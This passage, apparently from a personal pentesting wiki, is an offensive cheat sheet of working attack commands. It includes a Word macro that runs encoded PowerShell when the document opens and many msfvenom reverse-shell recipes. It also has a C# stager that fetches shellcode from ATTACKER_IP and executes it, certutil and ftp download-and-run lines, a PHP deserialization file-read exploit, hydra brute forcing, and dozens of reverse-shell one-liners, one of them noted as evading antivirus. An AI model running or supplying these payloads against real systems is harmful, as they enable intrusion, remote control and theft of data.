Str = Str + "AByAGUAcwBzACkADQAKACQAcwB0AHIAZQBhAG0AIAA9ACAATgB"
Str = Str + "lAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAFMAdAByAGUAYQBtA"
Str = Str + "FIAZQBhAGQAZQByACgAJABnAHoAaQBwACkADQAKAGkAZQB4ACA"
Str = Str + "AJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAVABvAEUAbgBkACgAK"
Str = Str + "QA="
CreateObject("Wscript.Shell").Run Str
End Sub
------------------------
# Script to generate Str = Str + payloads. Generate a payload with revshells.com and 'Powershell#3 Base64'
┌──(root💀kali)-[/home/…/Desktop/Reverse-Shell-From-Word-Document]
└─# cat payload.py
str="powershell -e JABjAGwAaQBlAG4AdAAgAD..."
n=50
for i in range(0,len(str),n):
print("Str = str+" + '"' + str[i:i+n] +'"')

...................................
# The below script will ping target.
Sub AutoOpen()
MyMacro
End Sub
Sub Document_Open()
MyMacro
End Sub
Sub MyMacro()
CreateObject("Wscript.Shell").Run "Ping.exe -t 192.168.119.182"
End Sub
</syntaxhighlight>

[[File:2022-08-image-4.png|thumb]]

=== LibreOffice Basic ===

=== ===

[[File:2022-08-Pasted-image-20220704111937.png|thumb]]

[[File:2022-08-Pasted-image-20220704111909.png|thumb]]

Make sure this macro is run when the document is opened. Close the macro editors, and back in the document, go to Tools –> Customize and select Open Document.

[[File:2022-08-image-3.png|thumb]]

----

== Mitre Framework ==

{| class="wikitable"
|-
! Title
! URL
! Short Description
|-
| MITRE Engage
| [https://engage.mitre.org/ https://engage.mitre.org/]
| MITRE Engage is a platform for collaboration and engagement in the cybersecurity community.
|-
| MITRE ATT&CK
| [https://attack.mitre.org/ https://attack.mitre.org/]
| MITRE ATT&CK is a knowledge base for adversary tactics and techniques used in cyberattacks.
|-
| MITRE Cyber Analytics Repository (CAR)
| [https://car.mitre.org/ https://car.mitre.org/]
| CAR is a repository of analytics for cybersecurity, providing detection and analytics capabilities.
|-
| MITRE D3FEND
| [https://d3fend.mitre.org/ https://d3fend.mitre.org/]
| D3FEND focuses on defensive techniques to protect against adversary tactics described in ATT&CK.
|-
| Common Vulnerabilities and Exposures (CVE)
| [https://cve.mitre.org/ https://cve.mitre.org/]
| CVE is a dictionary of common identifiers for publicly known cybersecurity vulnerabilities.
|-
| Common Attack Pattern Enumeration and Classification (CAPEC)
| [https://capec.mitre.org/ https://capec.mitre.org/]
| CAPEC is a catalog of common attack patterns used by adversaries in cybersecurity.
|-
| Common Weakness Enumeration (CWE)
| [https://cwe.mitre.org/ https://cwe.mitre.org/]
| CWE is a community-developed list of common software and hardware weaknesses.
|-
| Malware Attribute Enumeration and Characterization (MAEC)
| [https://maecproject.github.io/ https://maecproject.github.io/]
| MAEC is a project for standardizing the encoding and communication of malware characteristics.
|}

----

== Monitor Processes ==

=== Process Explorer ===

[https://learn.microsoft.com/en-us/sysinternals/downloads/process-explorer Process Explorer - Sysinternals | Microsoft Learn]

* '''Purpose:''' Process Explorer is a task manager and system monitoring utility. It provides detailed information about running processes, their resource usage, and the relationship between processes.

* '''Features:'''
Real-time monitoring of active processes, threads, and modules.

* Hierarchical view of processes, showing parent-child relationships.

* Detailed information about process properties, memory usage, and CPU utilization.

* Identification of the processes responsible for specific open handles or DLLs.

* Capabilities to suspend, terminate, or explore processes.

* Integration with VirusTotal to scan processes for malware.

* '''Use Case:''' Process Explorer is commonly used for diagnosing system performance issues, troubleshooting process-related problems, and gaining insight into the overall system activity.

=== Process Monitor ===

[https://learn.microsoft.com/en-us/sysinternals/downloads/procmon Process Monitor - Sysinternals | Microsoft Learn]

* '''Purpose:''' Process Monitor is a real-time system monitoring tool that captures and displays in-depth information about file system, registry, and process/thread activity on a Windows system.

* '''Features:'''
Detailed tracking of file system and registry operations, including reads, writes, and modifications.

* Capturing of process and thread activity, including creation, termination, and interactions.

* Filtering and searching capabilities to narrow down the captured data.

* Advanced filtering to include/exclude specific processes, operations, or paths.

* Ability to generate logs for analysis and troubleshooting.

* Integration with other Sysinternals tools like Autoruns and TCPView.

* '''Use Case:''' Process Monitor is often used to troubleshoot issues related to file system or registry access, such as debugging application failures, identifying permission problems, or tracking down malware activities.

=== Process Hacker ===

[https://processhacker.sourceforge.io/ https://processhacker.sourceforge.io/]

* '''Focus:''' Process Hacker aims to provide an advanced task manager with detailed process information and control options.

* '''Features:'''
Comprehensive process details, memory usage, and performance metrics.

* Real-time graphs for system resource monitoring.

* Advanced process management, including termination, suspension, and prioritization.

* Tools for viewing and manipulating network connections and memory content.

* Support for plugins to extend functionality.

* '''Common Uses:''' In-depth process analysis, identifying resource bottlenecks, managing and troubleshooting running processes.

----

== Msfvenom commands ==

=== What is exitfunc= in msfvenom ===

Exitfunc tells the payload what to do when it is done with its attack. It can be one of these four options:

* none: do nothing and keep running

* seh: use a special technique to exit without crashing

* thread: stop the part of the program that runs the payload and leave the rest alone

* process: kill the whole program that runs the payload

The best option depends on the situation and the goal of the attack. For example, if you want to be stealthy and avoid detection, you might choose thread or seh. If you want to cause damage and disruption, you might choose process or none. You can learn more about exitfunc and its options from this article.

=== ASP ===

<syntaxhighlight lang="bash">
ASP or ASPX
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.X.X LPORT=XXXX -f asp or aspx > rev_shell.asp or aspx
</syntaxhighlight>

=== Bash ===

=== hta ===

<syntaxhighlight lang="bash">
# Use msfvenom to turn basic HTML Application into an attack, relying on the hta-psh output format to create an HTA payload based on PowerShell.
sudo msfvenom -p windows/shell_reverse_tcp LHOST=10.11.0.4 LPORT=4444 -f hta-psh -o /var/www/html/evil.hta
</syntaxhighlight>

=== JSP ===

<syntaxhighlight lang="bash">
$ msfvenom -p java/jsp_shell_reverse_tcp LHOST="10.0.0.1" LPORT=4242 -f raw > shell.jsp
</syntaxhighlight>

=== WAR ===

<syntaxhighlight lang="bash">
$ msfvenom -p java/jsp_shell_reverse_tcp LHOST="10.0.0.1" LPORT=4242 -f war > shell.war
</syntaxhighlight>

=== PHP ===

<syntaxhighlight lang="bash">
msfvenom -p php/meterpreter_reverse_tcp LHOST=10.10.X.X LPORT=XXXX -f raw > rev_shell.php
msfvenom -p php/reverse_php LHOST= LPORT= -f raw > shell.php
</syntaxhighlight>

=== Python ===

<syntaxhighlight lang="bash">
Python
msfvenom -p cmd/unix/reverse_python LHOST=10.10.X.X LPORT=XXXX -f raw > rev_shell.py
</syntaxhighlight>

=== Perl ===

<syntaxhighlight lang="bash">
$ msfvenom -p cmd/unix/reverse_perl LHOST="10.0.0.1" LPORT=4242 -f raw > shell.pl
</syntaxhighlight>

=== Powershell ===

<syntaxhighlight lang="bash">
# Very important! Remember to choose correct CPU architecture before generating payload. If using for macro, Word will usually open PowerShell in 32-bit since it opens PowerShell from SysWOW64. Otherwise, use 64-bit. Always check target CPU arch before generating.
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.123 LPORT=443 -f ps1
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.123 LPORT=443 -f psh -o shell.ps1
</syntaxhighlight>

=== Linux ===

<syntaxhighlight lang="bash">
# Linux x64
msfvenom -p linux/x64/shell/reverse_tcp LHOST= LPORT= -f elf > shell-x64.elf
# Linux x86
msfvenom -p linux/x86/shell/reverse_tcp LHOST= LPORT= -f elf > shell-x86.elf
# UNIX CMD
$ msfvenom -p cmd/unix/reverse_bash LHOST="10.0.0.1" LPORT=4242 -f raw > shell.sh
# Fork a new process, xor encrypted
sudo msfvenom -p linux/x64/shell_reverse_tcp LHOST=tun1 LPORT=443 prependfork=true -f elf -t 300 -e x64/xor_dynamic -o test.elf
</syntaxhighlight>

=== OSX ===

<syntaxhighlight lang="bash">
$ msfvenom -p osx/x86/shell_reverse_tcp LHOST="10.0.0.1" LPORT=4242 -f macho > shell.macho
</syntaxhighlight>

=== Windows ===

<syntaxhighlight lang="bash">
Windows
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.X.X LPORT=XXXX -f exe > rev_shell.exe
MSI
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.X.X LPORT=XXXX -f msi > rev_shell.msi
Windows x64
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=IP LPORT=PORT -f exe > rev_x64_shell.exe
Windows
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.119.185 LPORT=443 -f psh-cmd
Windows encoded payload
msfvenom -a x86 --platform Windows -p windows/shell/bind_tcp -e x86/shikata_ga_nai -b '\x00' -i 3 -f python
-e = encoding
-i = iteration (how many times to encode the payload)
-b = bad character
Stageless
msfvenom -p windows/shell_reverse_tcp LHOST=IP LPORT=PORT -f exe > rev_shell.exe
Staged
msfvenom -p windows/shell/reverse_tcp LHOST=IP LPORT=PORT -f exe > rev_shell.exe
Generating shellcode
msfvenom -a x86 --platform windows -p windows/exec cmd=calc.exe -f c
</syntaxhighlight>

----

== Fuzzers ==

=== ffuf ===

[https://www.tsustyle.com/cheatsheets/ffuf-cheatsheet/ Source]

<syntaxhighlight lang="bash">
# Generic
ffuf -w wordlist.txt -u http://site.com/FUZZ
# File discovery using extensions
ffuf -w wordlist.txt -u http://site.com/FUZZ -e .php,.html
# Vhost
ffuf -w subdomains.txt -u http://site.com/ -H "Host: FUZZ.site.com"
# Login forms generic
ffuf -w /wordlist -d "username=admin&password=FUZZ" -H "Content-Type: application/x-www-form-urlencoded" -u http://site.com/login
# POST bruteforce. -fs means filter out size 17.
ffuf -X POST -H 'Content-Type: application/json' -d '{"user":"FUZZ", "url":"192.168.49.153/shell.elf"}' -u http://192.168.153.134:13337/update -w /usr/share/seclists/Usernames/xato-net-10-million-usernames-dup.txt -fs 17

</syntaxhighlight>

=== wfuzz ===

----

== Password Cracking ==

=== Hashcat ===

Example commands

{| class="wikitable"
|-
! Attack-mode
! Hash-type
! Example command
|-
| Wordlist
| $P$
| hashcat -a 0 -m 400 example400.hash example.dict
|-
| Wordlist + Rules
| MD5
| hashcat -a 0 -m 0 example0.hash example.dict -r rules/best64.rule
|-
| Brute-Force
| MD5
| hashcat -a 3 -m 0 example0.hash ?a?a?a?a?a?a
|-
| Combinator
| MD5
| hashcat -a 1 -m 0 example0.hash example.dict example.dict
|-
| Association
| $1$
| hashcat -a 9 -m 500 example500.hash 1word.dict -r rules/best64.rule
|}
https://hashcat.net/wiki/doku.php?id=hashcat

==== Mask attack ====

{| class="wikitable"
|-
| ?l =
| abcdefghijklmnopqrstuvwxyz
|-
| ?u
| ABCDEFGHIJKLMNOPQRSTUVWXYZ
|-
| ?d
| 0123456789
|-
| ?h
| 0123456789abcdef
|-
| ?H
| 0123456789ABCDEF
|-
| ?s
| «space»!"#$%&'()*+,-./:;<=>?@[\]^_`{|}~
|-
| ?a
| ?l?u?d?s
|-
| ?b
| 0x00 - 0xff
|}
https://hashcat.net/wiki/doku.php?id=mask_attack

<syntaxhighlight lang="bash">
# Example command
hashcat.exe --session session1 -m 22000 --force -a 0 -w 3 hash2.hc22000 "C:\Users\user\Skrivebord\hashcat-6.2.4\SecLists-master\Passwords\WiFi-WPA\*" -r "rules\best64.rule"
# Restore session
hashcat.exe --session session1 --restore
# Show cracked hashes
hashcat.exe hash2.hc22000 -m 22000 --show
</syntaxhighlight>

=== Hydra ===

{| class="wikitable"
|-
| Command
| Description
|-
| hydra -P <wordlist> -v <ip> <protocol>
| Brute force against a protocol of your choice
|-
| hydra -v -V -u -L <username list> -P <password list> -t 1 -u <ip> <protocol>
| You can use Hydra to bruteforce usernames as well as passwords. It will loop through every combination in your lists. (-vV = verbose mode, showing login attempts)
|-
| hydra -t 1 -V -f -l <username> -P <wordlist> rdp://<ip>
| Attack a Windows Remote Desktop with a password list.
|-
| hydra -l <username> -P .<password list> $ip -V http-form-post '/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log In&testcookie=1:S=Location'
| Craft a more specific request for Hydra to brute force.
|}
https://www.tryhackme.com/room/hackpark

=== John The Ripper ===

https://blog.aghanim.net/?p=1022

----

== PHP ==

=== shell_exec ===

<syntaxhighlight lang="php">
# If RFI dosent execute script, try this
# Create exploit.php
# cat exploit.php

# Execute
http://10.11.1.35/section.php?page=http://192.168.119.182:8888/exploit3.php
</syntaxhighlight>

=== Deserialization attack ===

See notes for Deployer

<syntaxhighlight lang="bash">
# In the index file below there is a PHP objection injection. The vulnerability occurs when user-supplied input is not properly sanitized before being passed to the unserialize() PHP function.
┌──(root💀kali)-[~aghanim/Desktop/PG/deployer]
└─# cat 192.168.153.158/web/dev/index.php
file);
}
}
if (!isset($_POST['page'])){
if (strpos(urldecode($_GET['page']),'..')!==false){
include('/var/www/dev/lfi-prev.html');
}
else{
include('/var/www/dev/'.$_GET['page']);
}
}
else{
$f=$_POST['page'];
unserialize($f);
}
?>

# Create a PHP script that will create a serialized script. Notice the class is the same as the index.php. We then take the variable $f. '->' is used in object scope to access methods and properties of an object.
┌──(root💀kali)-[~aghanim/Desktop/PG/deployer]
└─# cat real_exploit.php
file);
}
}
$f = new Page;
$f->file='/etc/passwd';
echo urlencode(serialize($f));
?>

# Then we send the output string, which is urlencoded, to the vulnerable parameter and we will have LFI.
┌──(root💀kali)-[/home/aghanim/Desktop/PG/deployer]
└─# curl -XPOST -d 'page=O%3A4%3A%22Page%22%3A1%3A%7Bs%3A4%3A%22file%22%3Bs%3A11%3A%22%2Fetc%2Fpasswd%22%3B%7D ' http://und3r_dev.deployer.off/index.php

</syntaxhighlight>

----

== Transfering files ==

=== A list of all commands ===

<syntaxhighlight lang="bash">
# CMD
# Bitsadmin.exe
bitsadmin /create 1 bitsadmin /addfile 1 https://live.sysinternals.com/autoruns.exe c:\data\playfolder\autoruns.exe bitsadmin /RESUME 1 bitsadmin /complete 1
# CertReq.exe
CertReq -Post -config https://example.org/ c:\windows\win.ini output.txt
# Certutil.exe
certutil.exe -urlcache -split -f "http://10.10.14.13:8000/shell.exe" s.exe
# CrackMapExec
crackmapexec smb 172.16.251.152 -u user -p pass --put-file /tmp/whoami.txt \\Windows\\Temp\\whoami.txt
# Desktopimgdownldr.exe
set "SYSTEMROOT=C:\Windows\Temp" && cmd /c desktopimgdownldr.exe /lockscreenurl:https://domain.com:8080/file.ext /eventName:desktopimgdownldr
# Diantz.exe
diantz.exe \\remotemachine\pathToFile\file.exe c:\destinationFolder\file.cab
# Esentutl.exe
esentutl.exe /y \\live.sysinternals.com\tools\adrestore.exe /d \\otherwebdavserver\webdav\adrestore.exe /o
# Expand.exe
expand \\webdav\folder\file.bat c:\ADS\file.bat
# Extrac32.exe
extrac32 /Y /C \\webdavserver\share\test.txt C:\folder\test.txt
# Findstr.exe
findstr /V /L W3AllLov3DonaldTrump \\webdavserver\folder\file.exe > c:\ADS\file.exe
# Ftp.exe
cmd.exe /c "@echo open attacker.com 21>ftp.txt&@echo USER attacker>>ftp.txt&@echo PASS PaSsWoRd>>ftp.txt&@echo binary>>ftp.txt&@echo GET /payload.exe>>ftp.txt&@echo quit>>ftp.txt&@ftp -s:ftp.txt -v"
# GfxDownloadWrapper.exe
C:\Windows\System32\DriverStore\FileRepository\igdlh64.inf_amd64_[0-9]+\GfxDownloadWrapper.exe "URL" "DESTINATION FILE"
# Hh.exe
HH.exe http://some.url/script.ps1
# Ieexec.exe
ieexec.exe http://x.x.x.x:8080/bypass.exe
# Makecab.exe
makecab \\webdavserver\webdav\file.exe C:\Folder\file.cab
# MpCmdRun.exe
MpCmdRun.exe -DownloadFile -url -path //Windows Defender executable
# Replace.exe
replace.exe \\webdav.host.com\foo\bar.exe c:\outdir /A
# Excel.exe
Excel.exe http://192.168.1.10/TeamsAddinLoader.dll
# Powerpnt.exe
Powerpnt.exe "http://192.168.1.10/TeamsAddinLoader.dll"
# Squirrel.exe
squirrel.exe --download [url to package]
# Update.exe
Update.exe --download [url to package]
# Winword.exe
winword.exe "http://192.168.1.10/TeamsAddinLoader.dll"
# Wsl.exe
wsl.exe --exec bash -c 'cat binary'
</syntaxhighlight>

<syntaxhighlight lang="bash">
# POWERSHELL
# System.Net.WebClient
(New-Object Net.WebClient).DownloadFile("http://10.10.14.2:80/taskkill.exe","C:\Windows\Temp\taskkill.exe")
# Invoke-WebRequest
Invoke-WebRequest "http://10.10.14.2:80/taskkill.exe" -OutFile "taskkill.exe"
# Wget
wget "http://10.10.14.2/nc.bat.exe" -OutFile "C:\ProgramData\unifivideo\taskkill.exe"
# BitsTransfer
Import-Module BitsTransfer
Start-BitsTransfer -Source $url -Destination $output
# OR
Start-BitsTransfer -Source $url -Destination $output -Asynchronous
# Base64 Kali & EncodedCommand
kali> echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.9:8000/9002.ps1')" | iconv --to-code UTF-16LE | base64 -w0
PS> powershell -EncodedCommand
</syntaxhighlight>

=== CrackMapExec ===

<syntaxhighlight lang="bash">
# Send a local file to the remote target
crackmapexec smb 172.16.251.152 -u user -p pass --put-file /tmp/whoami.txt \\Windows\\Temp\\whoami.txt
# Get a remote file on the remote target
crackmapexec smb 172.16.251.152 -u user -p pass --get-file \\Windows\\Temp\\whoami.txt /tmp/whoami.txt
</syntaxhighlight>

=== Certutil ===

Easiest way to transfer to Windows

<syntaxhighlight lang="bash">
certutil -urlcache -split -f "http://ip-addr:port/file" [output-file]
# Example - This will upload a shell to temp, and run execute it using cmd.exe
certutil -urlcache -split -f "http://192.168.49.233/shell.exe" C:\windows\temp\shell.exe && cmd.exe /c C:\windows\temp\shell.exe
</syntaxhighlight>

=== CMD ===

<syntaxhighlight lang="bash">
bitsadmin /transfer job /download /priority high http://192.168.49.75/nc.exe c:\\windows\\temp\\nc.exe
</syntaxhighlight>

=== tfpt ===

<syntaxhighlight lang="bash">
# Install tftp and configure a TFTP server on the attacker and create a directory to store and serve files. Update ownership in order to send files. Run it as a daemon on port 69
kali@kali:~$ sudo apt update && sudo apt install atftp
kali@kali:~$ sudo mkdir /tftp
kali@kali:~$ sudo chown nobody: /tftp
kali@kali:~$ sudo atftpd --daemon --port 69 /tftp
# On target
tftp -i 10.11.0.4 put important.docx
</syntaxhighlight>

=== Encrypted python3 http.server ===

<syntaxhighlight lang="bash">
# Create self signed cert
openssl req -new -x509 -keyout localhost.pem -out localhost.pem -days 365 -nodes
</syntaxhighlight>

<syntaxhighlight lang="bash">
python3 -c "import http.server, ssl;server_address=('0.0.0.0',443);httpd=http.server.HTTPServer(server_address,http.server.SimpleHTTPRequestHandler);httpd.socket=ssl.wrap_socket(httpd.socket,server_side=True,certfile='localhost.pem',ssl_version=ssl.PROTOCOL_TLSv1_2);httpd.serve_forever()"
</syntaxhighlight>

=== Evil-winrm ===

<syntaxhighlight lang="bash">
# Upload file
upload shell.exe
# Download file
Download target.file
</syntaxhighlight>

=== Netcat ===

Must have nc.exe binary on the target machine.

<syntaxhighlight lang="bash">
# Attacking machine command
nc -lvnp 4444 > FiletoDownload
## Victim machine command
nc.exe 10.10.10.100 4444 -w 3 < Filetodownload
</syntaxhighlight>

=== Rejetto HFS - HTTP File Server (GUI based) ===

Rejetto is very light weight and works on linux (wine) and Windows to transfer files to a target over http using GUI.

If you have RDP this tool works great.

[https://www.rejetto.com/hfs/ https://www.rejetto.com/hfs/]

[https://blog.aghanim.net/wp-content/uploads/2023/01/hfs2.3m.zip hfs2.3m][https://blog.aghanim.net/wp-content/uploads/2023/01/hfs2.3m.zip Rejtto HFS zip file]

=== Tiny Http Server - Rebex ===
Simple, minimalist web server for testing and debugging purposes. Runs as a Windows application only.

https://www.rebex.net/tiny-web-server/

==== Transfer from attacker to target ====

[[File:2023-01-image-2.png|thumb]]

Drag and drop files you want to transfer. Change port by clicking on 'Port:' or change IP by going to Menu and 'IP Adress'.

On target either open browser or wget, curl, etc

<syntaxhighlight lang="bash">
wget http://192.168.1.98:443/nmap.txt
</syntaxhighlight>

==== Transfer from target to attacker ====

[https://www.rejetto.com/wiki/index.php/HFS:_Working_with_uploads https://www.rejetto.com/wiki/index.php/HFS:_Working_with_uploads]

<syntaxhighlight lang="bash">
# Step-by-step
## First, define a real folder. To do this:
# Add a folder.
## Choose real folder.
## You should now see a RED folder in your virtual file system, inside HFS.
## Right click on this folder.
## Set Upload → upload for accounts → anyone
## Now anyone who has access to your HFS server can upload files to you.
</syntaxhighlight>

[[File:2023-01-image-3.png|thumb]]

Anyone can upload

[[File:2023-01-image-4.png|thumb]]

[[File:2023-01-image-5.png|thumb]]

Click on on the folder 'Upload HFS'

[[File:2023-01-image-6.png|thumb]]

Now anyone can upload files

=== SCP ===

<syntaxhighlight lang="bash">
# From target to attacher
scp aghanim@192.168.1.242:C:/Users/testuser/Desktop/file .
# From attacker to target
scp file.txt aghanim@192.168.1.242:C:/Users/testuser/Desktop/
</syntaxhighlight>

=== SMBServer ===

Create a smbserver with share name "share", and location of folder to share

<syntaxhighlight lang="bash">
smbserver.py share /home/aghanim/Desktop/
## If target only supports smbserver2
smbserver.py share . -smb2support
## On target CMD
\\smbserver-ip\share\$FILE_NAME
## Copy file to target
copy \\smbserver-ip\share\$FILE_NAME .
## Copy file from target to attacker
copy FileToDownload \\smbserver-ip\share\FileToDownload
## SMBserver with username and password
/usr/bin/impacket-smbserver share . -smb2support -username test -password 123
</syntaxhighlight>

=== Powershell ===

Must use single quote for URL. Worsk for Windows 7 & 2008 and above.

<syntaxhighlight lang="powershell">
powershell -c (New-Object Net.WebClient).DownloadFile('http://ip-addr:port/file', 'output-file')
</syntaxhighlight>

=== Powercat ===

<syntaxhighlight lang="bash">
# Attacker
sudo nc -lnvp 443 > receiving_powercat.ps1
# Target
powercat -c 10.11.0.4 -p 443 -i C:\Users\aghanim\powercat.ps1
</syntaxhighlight>

==== Python ====

<syntaxhighlight lang="bash">
# Attacker
python3 -m http.server 8080
python2 -m SimpleHTTPServer 8080
# Target
wget http://ip:port/file
curl http://ip:port/file
</syntaxhighlight>

=== Windows upload using php and powershell ===

<syntaxhighlight lang="bash">
# On attacker, create a php upload script and host it on apache2 server

# On target, upload files using this command.
powershell (New-Object System.Net.WebClient).UploadFile('http://10.11.0.4/upload.php', 'important.docx')
</syntaxhighlight>

----

== Shellcode and Staged payloads ==

=== csharp stager ===

<syntaxhighlight lang="csharp">
https://github.com/mvelazc0/defcon27_csharp_workshop/blob/master/Labs/lab2/2.cs
using System;
using System.Net;
using System.Text;
using System.Configuration.Install;
using System.Runtime.InteropServices;
using System.Security.Cryptography.X509Certificates;
public class Program {
//https://docs.microsoft.com/en-us/windows/desktop/api/memoryapi/nf-memoryapi-virtualalloc
[DllImport("kernel32")]
private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr, UInt32 size, UInt32 flAllocationType, UInt32 flProtect);
//https://docs.microsoft.com/en-us/windows/desktop/api/processthreadsapi/nf-processthreadsapi-createthread
[DllImport("kernel32")]
private static extern IntPtr CreateThread(UInt32 lpThreadAttributes, UInt32 dwStackSize, UInt32 lpStartAddress, IntPtr param, UInt32 dwCreationFlags, ref UInt32 lpThreadId);
//https://docs.microsoft.com/en-us/windows/desktop/api/synchapi/nf-synchapi-waitforsingleobject
[DllImport("kernel32")]
private static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);
private static UInt32 MEM_COMMIT = 0x1000;
private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;
public static void Main()
{
string url = "https://ATTACKER_IP/shellcode.bin";
Stager(url);
}
public static void Stager(string url)
{
WebClient wc = new WebClient();
ServicePointManager.ServerCertificateValidationCallback = delegate { return true; };
ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls12;
byte[] shellcode = wc.DownloadData(url);
UInt32 codeAddr = VirtualAlloc(0, (UInt32)shellcode.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
Marshal.Copy(shellcode, 0, (IntPtr)(codeAddr), shellcode.Length);
IntPtr threadHandle = IntPtr.Zero;
UInt32 threadId = 0;
IntPtr parameter = IntPtr.Zero;
threadHandle = CreateThread(0, 0, codeAddr, parameter, 0, ref threadId);
WaitForSingleObject(threadHandle, 0xFFFFFFFF);
}
}
</syntaxhighlight>

=== Msfvenom Staged payload ===

<syntaxhighlight lang="bash">
msfvenom -p windows/x64/shell/reverse_tcp LHOST=ATTACKER_IP LPORT=7474 -f raw -o shellcode.bin -b '\x00\x0a\x0d'
# -b '\x00\x0a\x0d': Sets a list of characters to avoid in the generated shellcode. The characters '\x00\x0a\x0d' correspond to null byte, line feed, and carriage return, which are common characters that can cause issues when injecting shellcode into certain parts of memory or when transmitting it over a network.
</syntaxhighlight>

----

== Bind shells ==

https://blog.aghanim.net/?p=1043

=== Powercat ===

<syntaxhighlight lang="bash">
powercat -l -p 443 -e cmd.exe
</syntaxhighlight>

----

== Reverse shells ==

[https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md#powershell PayloadAllTheThings]

=== Reverse Shell Generator ===

[https://www.revshells.com/ https://www.revshells.com/]

=== hoaxshell ===

Currently undetected by Microsoft and most AV (12.10.2022)

<syntaxhighlight lang="bash">
# https://github.com/t3l3machus/hoaxshell
──(root💀kali)-[/opt/hoaxshell]
└─# python3 hoaxshell.py -s 192.168.1.59 -p 4444 1 ⨯
┬ ┬ ┌─┐ ┌─┐ ─┐ ┬ ┌─┐ ┬ ┬ ┌─┐ ┬ ┬
├─┤ │ │ ├─┤ ┌┴┬┘ └─┐ ├─┤ ├┤ │ │
┴ ┴ └─┘ ┴ ┴ ┴ └─ └─┘ ┴ ┴ └─┘ ┴─┘ ┴─┘
by t3l3machus
[Info] Generating reverse shell payload...
powershell -e JABzAD0AJwAxADkAMgAuADEANg....
[Info] Type "help" to get a list of the available prompt commands.
[Info] Http Server started on port 4444.
[Important] Awaiting payload execution to initiate shell session...
[Shell] Payload execution verified!
[Shell] Stabilizing command prompt...
PS C:\Users\AlaaG > whoami
laptop-\alaag
PS C:\Users\AlaaG > systeminfo
Host Name: LAPTOP-
OS Name: Microsoft Windows 11 Home
OS Version: 10.0.22000 N/A Build 22000
OS Manufacturer: Microsoft Corporation
OS Configuration: Standalone Workstation
</syntaxhighlight>

=== ICMP Reverse Shell ===

<syntaxhighlight lang="bash">
# https://github.com/krabelize/icmpdoor
# https://cryptsus.com/blog/icmp-reverse-shell.html
## Python version usage (both Windows and Linux):
./icmp-cnc.py -i INTERFACE -d VICTIM-IP (Command and Control)
./icmpdoor.py -i INTERFACE -d CNC-IP (Implant)
## Binary Windows version usage version:
./icmp-cnc.exe -d VICTIM-IP (Command and Control)
./icmpdoor.exe -d CNC-IP (Implant)
## Binary Linux version usage version:
./icmp-cnc -d VICTIM-IP (Command and Control)
./icmpdoor -d CNC-IP (Implant)
</syntaxhighlight>

=== BASH TCP ===

<syntaxhighlight lang="bash">
bash -i >& /dev/tcp/10.0.0.1/4242 0>&1
0/dev/tcp/10.0.0.1/4242; sh &196 2>&196
/bin/bash -l > /dev/tcp/10.0.0.1/4242 0&1
## Don't forget to check with others shell : sh, ash, bsh, csh, ksh, zsh, pdksh, tcsh, bash
</syntaxhighlight>

=== BASH UDP ===

<syntaxhighlight lang="bash">
Victim:
sh -i >& /dev/udp/10.0.0.1/4242 0>&1
Listener:
nc -u -lvp 4242
</syntaxhighlight>

=== ngrok - Catcha reverse shell from the internet ===

[https://book.ghanim.no/wp-content/uploads/2023/08/How-to-catch-a-Reverse-shell-over-the-Internet-_-by-Siddharth-Johri-_-System-Weakness.pdf How-to-catch-a-Reverse-shell-over-the-Internet-_-by-Siddharth-Johri-_-System-Weakness][https://book.ghanim.no/wp-content/uploads/2023/08/How-to-catch-a-Reverse-shell-over-the-Internet-_-by-Siddharth-Johri-_-System-Weakness.pdf Download]

<syntaxhighlight lang="bash">
# On attacker (term1)
ngrok tcp 4444
# On attacker (term2)
nc -lvp 4444
# On target, use your reverse shell payload on the ngrok tunnel target
nc 0.tcp.ngrok.io -e /bin/sh
-----
# Another method if there is a proxy and firewall.
# Setup free domain. (Custom domain is a paid feature)
https://dashboard.ngrok.com/cloud-edge/domains
ngrok http --domain=ngrok-provided-domain.ngrok-free.app
# On attacker
nc -lvnp
</syntaxhighlight>

=== Netcat Traditional ===

<syntaxhighlight lang="bash">
nc -e /bin/sh 10.0.0.1 4242
nc -e /bin/bash 10.0.0.1 4242
nc -c bash 10.0.0.1 4242
</syntaxhighlight>

=== Netcat BusyBox ===

<syntaxhighlight lang="bash">
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 4242 >/tmp/f
</syntaxhighlight>

=== nc.exe ===

<syntaxhighlight lang="bash">
nc.exe -e cmd.exe attacker_ip attacker_port
</syntaxhighlight>

=== PHP ===

<syntaxhighlight lang="php">
php -r '$sock=fsockopen("10.10.14.17",4444);$proc=proc_open("/bin/sh -i", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes);'
# Base64 encoded webshell
""
"& /dev/tcp/192.168.49.129/80 0>&1'); ?>"
</syntaxhighlight>

=== Powershells ===

<syntaxhighlight lang="powershell">
powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('10.0.0.1',4242);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
</syntaxhighlight>

<syntaxhighlight lang="powershell">
